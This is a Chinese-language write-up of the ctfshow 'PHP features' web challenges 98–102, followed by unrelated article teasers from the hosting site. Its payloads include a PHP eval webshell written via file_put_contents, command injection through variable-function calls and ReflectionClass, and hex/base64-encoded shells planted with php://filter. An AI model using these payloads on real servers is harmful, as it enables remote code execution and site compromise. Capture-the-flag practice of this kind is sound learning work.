ctfshow web入门 php特性web98-102

news/2024/11/16 20:52:50/

1.web98

在这里插入图片描述
get会被post方式覆盖,传入的参数需要等于flag,才能读取到flag值,如果直接传http_flag=flag,返回的结果会是一个空数组,因为get变量被覆盖了,而post没有传参
payload:
get 1=1
post HTTP_FLAG=flag

2.web99

在这里插入图片描述
array_push在数组末尾添加内容
rand(min,max)返回一个在min和max区间的随机数字
file_put_content往一个文件中写内容
弱比较,1.php==1
1出现的次数多,最有可能
payload:
n=1.php
content=<? eval($_POST[1])?>

3.web100

在这里插入图片描述
运算符优先级=大于and,or,=小于||,&&,and或&&都表示逻辑与,而or或||都表示逻辑或
所以只需要v1传入的数字即可

<?php
$a=6 and 0;     #直接赋值
var_dump($a);   #6
$b=5 &&0;       #先进行逻辑与运算,之后在赋值
var_dump($b);   #false
?>

php反射类,可以理解为是类的一个映射,可以方便在不知道类的定义的具体内容实现访问类的变量,函数等
php一个例子

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){echo "hello</br>";
}
}
$a=new ReflectionClass('A');var_dump($a->getConstants());  获取一组常量
输出array(1) {["PI"]=>float(3.14)
}var_dump($a->getName());    获取类名
输出
string(1) "A"var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {["flag"]=>string(15) "flag{123123123}"
}var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {[0]=>object(ReflectionMethod)#2 (2) {["name"]=>string(5) "hello"["class"]=>string(1) "A"}
}

过滤少了,所以可以直接命令执行
payload:

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
#直接构造反射类,能输出里面的变量内容
v1=1&v2=echo new ReflectionClass&v3=;

flag注意格式
e30aad3a0x2dd5e60x2d44120x2da3370x2db212221ac3f7
0x2d是-的16进制

4.web101

在这里插入图片描述
和上题一样
payload:

v1=1&v2=echo new ReflectionClass&v3=;

注意flag值还少了一位,爆破,或一个一个试

5.web102

在这里插入图片描述
v2必须有数字

$a='<?=`cat *`;';       //为什么用这个,主要是因为编码后带e,或者是编码后全部是数字
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
//输出   5044383959474e6864434171594473
带e会被当做科学计数法,而base64去掉等号,不影响解码
bin2hex把ascii码转为16进制

payload:

php5中is_numeric函数认识16进制数,而php7这个函数不识别16进制数,
hex2bin将16进制转换为ascii码,<?php eval($_POST[1]);?>的16进制编码为0x3c3f706870206576616c28245f504f53545b315d293b3f3e
php5:
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
之后访问1.php
php7:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin
需要随便填充一些数字,从第二个字符开始截取的(也就是第三个,是从0开始的)
之后访问1.php

ctfshow php特性


http://www.ppmy.cn/news/560417.html

相关文章

乐播登录显示服务器失败,乐播投屏搜索设备失败的处理操作

大家会处理乐播投屏搜索设备失败的问题吗&#xff1f;今天小编就分享乐播投屏搜索设备失败的处理操作方法&#xff0c;我们一起来看看吧&#xff01; 乐播投屏搜索设备失败的处理操作 1、首先需要先进入到乐博投屏的主界面&#xff0c;如果出现未搜索到设备的情况&#xff0c;将…

百度电视云,告诉你电视新“看”法

电视盒子、智能电视快速兴起&#xff0c;抢占用户客厅将成为2014年互联网厂商共同发力的方向。从硬件设备到电视系统以及第三方软件应用&#xff0c;再到用户的认可度方面都将更加成熟&#xff0c;并且用户在电视应用的选择上也将更多元化。有人做盒子&#xff0c;有人做应用&a…

​没有投屏自由,智慧电视还谈什么智慧?

文 | 冷布丁 来源 | 智能相对论&#xff08;ID&#xff1a;aixdlun&#xff09; 此前&#xff0c;优酷自制剧《山河令》大火出圈&#xff0c;就有用户发现&#xff0c;所谓的智慧电视存在诸多投屏限制&#xff0c;并非宣传的一般无缝实现大屏与小屏之间的内容流转。 如今&am…

两院院士直言:不要迷信院士

本文来源&#xff1a;paperRSS&#xff0c;编辑&#xff1a;募格学术 导读&#xff1a; 王选&#xff08;1937年2月5日-2006年2月13日&#xff09;&#xff0c;计算机专家。江苏无锡人。1991年当选为中国科学院院士&#xff0c;1994年当选为中国工程院院士&#xff0c;获得2001…

奇艺副总裁段有桥:互联网电视8大误区(转载)

以下 原文 转载自 i黑马 段有桥&#xff1a;爱奇艺人。从互联网公司到DTV、IPTV、STB和OTT&#xff0c;12年绕了一个大圈又回到了互联网公司&#xff0c;路程不短但距离为零。互联网电视的8大误区&#xff0c;这些都是老段自己关于产品体验和用户体验的思考&#xff0c;欢迎…

关于投屏搜索不到电视,技术分析思路

投屏&#xff0c;搜索不到电视设备解决方案 把手机视频投屏电视看&#xff0c;想必很多人都用过&#xff0c;作为忠实的爱好着。每天回家看剧&#xff0c;必投屏。但是仍然有很多人不会投屏&#xff0c;经常遇到的问题就是手机APP提示找不到电视。或者说投屏不成功。今天由我给…

电脑无法上网的综合解决方法

电脑无法上网的综合解决方法 Windows 操作系统的网络一直存在着这样的那样的问题&#xff0c;笔者在网上看到很多的人都在问这方面的问题&#xff0c;所以把自己的一些经验再结合一些例子给大家讲讲Windows系统遇到无法上网的问题后应该怎么办&#xff1f; 软件类问题 1、Vista…

浏览器与输入法——用户入口的争夺

一&#xff1a; 在互联网行业之中&#xff0c;一个产品的用户数量决定着这个产品的未来。用户数量越多&#xff0c;那么前景就越被看好。而作为用户入口的浏览器和输入法便成为了各大互联网公司所争夺的焦点。 在浏览器行业中&#xff0c;IE可以算是一个巨人了&#xff0c;当然…